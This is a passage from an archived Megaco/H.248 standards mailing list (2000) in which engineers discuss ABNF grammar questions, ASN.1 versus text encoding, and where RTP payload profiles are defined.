<BR><FONT SIZE=3D2>&gt; &gt; Hi all,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; The previous mail was sent by mistake. =
This is the correct mail:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Can someone clear the following issues in =
ABNF?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 1) In APPENDIX A EXAMPLE CALL FLOW:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; 8.&nbsp; The MGC =
Modifies the termination to play dial tone, to look</FONT>
<BR><FONT SIZE=3D2>&gt; for</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; digits according to =
Dialplan0 and to look for the on-hook</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; event now.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; MGC to MG1:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; MEGACO/1 =
[123.123.123.4]:55555</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; Transaction =3D 10001 =
{</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Context =3D - {</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Modify =3D A4444 {</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; Events =3D 2223 {</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; al/on, dd/ce =
{DigitMap=3DDialplan0}</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; },</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; Signals {cg/dt},</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DigitMap=3D =
Dialplan0{</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; (0| =
00|[1-7]xxx|8xxxxxxx|Fxxxxxxx|Exx|91xxxxxxxxxx|9011x.)}</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
}</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
}</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; }</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; According to the definition of =
digitMapRAnge :</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; digitMapRange =3D =
(&quot;x&quot; / LWSP &quot;[&quot; LWSP digitLetter LWSP &quot;]&quot; =
LWSP)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; &quot;x&quot; must be followed =
by &quot;[&quot; .</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; [PTT] According to section 3.5 of RFC2234 =
(ABNF), the rule as</FONT>
<BR><FONT SIZE=3D2>&gt; currently shown is correct, but your =
alternative presentation would be</FONT>
<BR><FONT SIZE=3D2>&gt; clearer.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; So, either there is an error =
in the example,or the definition</FONT>
<BR><FONT SIZE=3D2>&gt; should</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; be:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; digitMapRange =3D =
(&quot;x&quot; /( LWSP &quot;[&quot; LWSP digitLetter LWSP =
&quot;]&quot; LWSP ))</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 2) In ABNF:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; contextRequest =3D =
((contextProperties [COMMA contextAudit])</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; / contextAudit)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp; contextProperties&nbsp; =
=3D contextProperty *(COMMA contextProperty)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; My problem is : if the parser finds a =
COMMA after a</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; contextProperty, it</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; doesn't have any indication to know what =
will come after this COMMA:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; another</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; contextProperty,or the optional =
contextAudit. This results in a</FONT>
<BR><FONT SIZE=3D2>&gt; loop.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; [PTT] You have to check the keyword which =
follows the comma.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I think that there are two alternatives =
ways to solve this:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Either to put&nbsp; contextAudit in { } =
:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; contextRequest =3D ((contextProperties =
LBRKT [COMMA contextAudit]</FONT>
<BR><FONT SIZE=3D2>&gt; RBRKT)</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; / contextAudit)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Or put contextProperties in { } :</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; contextRequest =3D ((LBRKT =
contextProperties RBRKT [COMMA</FONT>
<BR><FONT SIZE=3D2>&gt; contextAudit])</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; / contextAudit)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp; thank you in advance,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Rakefet Prozan,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Team Manager, S/W Development</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Nortel SBU</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Telrad Networks</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; ESN 828-3043&nbsp;&nbsp; =
Email:rakefet.prozan@telrad.co.il</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; &quot;&quot;&quot;</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; -(o o)-</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
+---------------------------------oOO--(_)--OOo--------------+</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
.oooO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oooo.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
-------------------------------(&nbsp;&nbsp; )---------(&nbsp;&nbsp; =
)------------</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \ =
(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ) =
/</FONT>
<BR><FONT SIZE=3D2>&gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
\_)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (_/</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Have fun !!!</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
</P>

<P><FONT SIZE=3D2>--</FONT>
<BR><FONT SIZE=3D2>Rakefet Prozan,</FONT>
<BR><FONT SIZE=3D2>Team Manager, S/W Development</FONT>
<BR><FONT SIZE=3D2>Nortel SBU</FONT>
<BR><FONT SIZE=3D2>Telrad Networks</FONT>
<BR><FONT SIZE=3D2>ESN 828-3043&nbsp;&nbsp; =
Email:rakefet.prozan@telrad.co.il</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; &quot;&quot;&quot;</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; -(o o)-</FONT>
<BR><FONT =
SIZE=3D2>+---------------------------------oOO--(_)--OOo--------------+<=
/FONT>
</P>

<P><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
.oooO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oooo.</FONT>
<BR><FONT SIZE=3D2>-------------------------------(&nbsp;&nbsp; =
)---------(&nbsp;&nbsp; )------------</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \ =
(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ) =
/</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
\_)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (_/</FONT>
</P>

<P><FONT SIZE=3D2>Have fun !!!</FONT>
<BR><FONT SIZE=3D2>&gt; Team Manager, S/W Development</FONT>
<BR><FONT SIZE=3D2>&gt; ATS SBU</FONT>
<BR><FONT SIZE=3D2>&gt; Telrad Networks</FONT>
<BR><FONT SIZE=3D2>&gt; ESN 828-3043&nbsp;&nbsp; =
Email:rakefet.prozan@telrad.co.il</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;&quot;&quot;</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -(o o)-</FONT>
<BR><FONT SIZE=3D2>&gt; =
+---------------------------------oOO--(_)--OOo--------------+</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
.oooO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oooo.</FONT>
<BR><FONT SIZE=3D2>&gt; -------------------------------(&nbsp;&nbsp; =
)---------(&nbsp;&nbsp; )------------</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \ =
(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ) =
/</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
\_)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (_/</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Have fun !!!</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C028CF.1044A790--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 18:43:51 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24101
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 18:43:51 -0400 (EDT)
Received: from standards (47.234.32.16:1375) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB993A9@standards.nortelnetworks.com>; Wed, 27 Sep 2000 18:28:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1656 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 18:28:15 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB993A8@standards.nortelnetworks.com>; Wed, 27 Sep 2000 18:28:10
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id SAA00297; Wed, 27 Sep 2000 18:42:14 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id SAA19657; Wed, 27 Sep 2000 18:42:14 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <TLL3V120>; Wed, 27 Sep 2000 18:42:13 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E727@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 27 Sep 2000 18:42:12 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: ASN syntax change
X-To:         sadiq rehman <sadiq_js@USA.NET>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

You cannot use the same ASN syntax for text encoding.  Although the
semantics are the same, the syntax is different.  You have to use
the ABNF for text, and the ASN1 for binary.

There are many ASN1 compilers out there, most are commercial programs.
What I'm familiar with uses dynamic memory allocation, but there might
be one out there that uses all static allocation.  Might be pretty
tough!

Brian

> -----Original Message-----
> From: sadiq rehman [mailto:sadiq_js@USA.NET]
> Sent: Wednesday, September 27, 2000 10:14 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: ASN syntax change
>
>
> Hai to all,
>
> I want to know what are the changes we have to do in ASN1
> draft file to
> use the same ASN syatax for Binary and Text Encoding/Decoding.
>
> Is there any site to get some information on binary and text
> encoding and
> decoding .
>
> where we can get more information on H248 protocol .
>
>
> Can we change ASN syntax for binary encoding and decoding ,
>
> I HAVE THE FOLLOWING QUERIES
>
> 1.If we compile ASN file with the ASN1 compiler , i am
> getting .c and .h
>
> file , The header file clearly tells that we have to allocate memory
> dynamically , i want to allocate memory statically by using
> array scheme
> instead of pointer mechanism
>
>
>
>
>
>
>
>
> Advanced Thanks
>
> sadiq
>
> ____________________________________________________________________
> Get free email and a permanent address at
> http://www.netaddress.com/?N=1
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 18:53:28 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24189
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 18:53:27 -0400 (EDT)
Received: from standards (47.234.32.16:1375) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB993C8@standards.nortelnetworks.com>; Wed, 27 Sep 2000 18:37:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1698 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 18:37:57 -0400
Received: from qhars002.nortel.com (47.101.112.102:52201) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB993C7@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          18:37:57 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 27 Sep 2000
          23:52:03 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 27 Sep
          2000 18:47:15 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PR8K>; Wed, 27 Sep 2000 18:47:16 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C028D4.E1D0F700"
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480E02@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 18:47:15 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: how to assign rtp profile and codec
X-To:         "Shlomo.Kabaz@ECITELE.COM" <Shlomo.Kabaz@ECITELE.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C028D4.E1D0F700
Content-Type: text/plain;
        charset="iso-8859-1"

The RTP/AVP profile, which gives you payload type names for RTP over UDP, is
defined in RFC 1890 and its soon-to-be replacement,
http://www.ietf.org/internet-drafts/draft-ietf-avt-profile-new-09.txt

I think there is a corresponding RTP/ATM profile in the ATM-SDP draft which
Rajesh Kumar is editing.

Binary encodings probably have to be taken from H.245 AudioCapability
encodings, although lately they have taken to using registered object
identifiers rather than specific codepoint assignments.

> -----Original Message-----
> From: Shlomo Kabaz ECItelecom [mailto:Shlomo.Kabaz@ECITELE.COM]
> Sent: Wednesday, September 20, 2000 11:07 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: how to assign rtp profile and codec
>
>
> Hi , all .
> Can anyone tell me where do i find  a  complete list of the
> rtp profiles
> that can be received by me as a MG
> from an MGC , in text encoding ?
> Another thing i do not understand is : when getting a rtp
> profile in text
> encoding , does the profile include also the
> codec ?
> And , also when coding in binary how do i give the codec and what do i
> assign in the "RTPpayload" in annex "C" ?
>
> thanks , shlomo ECI
>

------_=_NextPart_001_01C028D4.E1D0F700
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: how to assign rtp profile and codec</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>The RTP/AVP profile, which gives you payload type =
names for RTP over UDP, is defined in RFC 1890 and its soon-to-be =
replacement, </FONT></P>

<P><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-avt-profile-new-0=
9.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-avt-pro=
file-new-09.txt</A></FONT>
</P>

<P><FONT SIZE=3D2>I think there is a corresponding RTP/ATM profile in =
the ATM-SDP draft which Rajesh Kumar is editing.</FONT>
</P>

<P><FONT SIZE=3D2>Binary encodings probably have to be taken from H.245 =
AudioCapability encodings, although lately they have taken to using =
registered object identifiers rather than specific codepoint =
assignments.</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Shlomo Kabaz ECItelecom [<A =
HREF=3D"mailto:Shlomo.Kabaz@ECITELE.COM">mailto:Shlomo.Kabaz@ECITELE.COM=
</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 20, 2000 11:07 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: how to assign rtp profile and =
codec</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi , all .</FONT>
<BR><FONT SIZE=3D2>&gt; Can anyone tell me where do i find&nbsp; =
a&nbsp; complete list of the </FONT>
<BR><FONT SIZE=3D2>&gt; rtp profiles</FONT>
<BR><FONT SIZE=3D2>&gt; that can be received by me as a MG</FONT>
<BR><FONT SIZE=3D2>&gt; from an MGC , in text encoding ?</FONT>
<BR><FONT SIZE=3D2>&gt; Another thing i do not understand is : when =
getting a rtp </FONT>
<BR><FONT SIZE=3D2>&gt; profile in text</FONT>
<BR><FONT SIZE=3D2>&gt; encoding , does the profile include also =
the</FONT>
<BR><FONT SIZE=3D2>&gt; codec ?</FONT>
<BR><FONT SIZE=3D2>&gt; And , also when coding in binary how do i give =
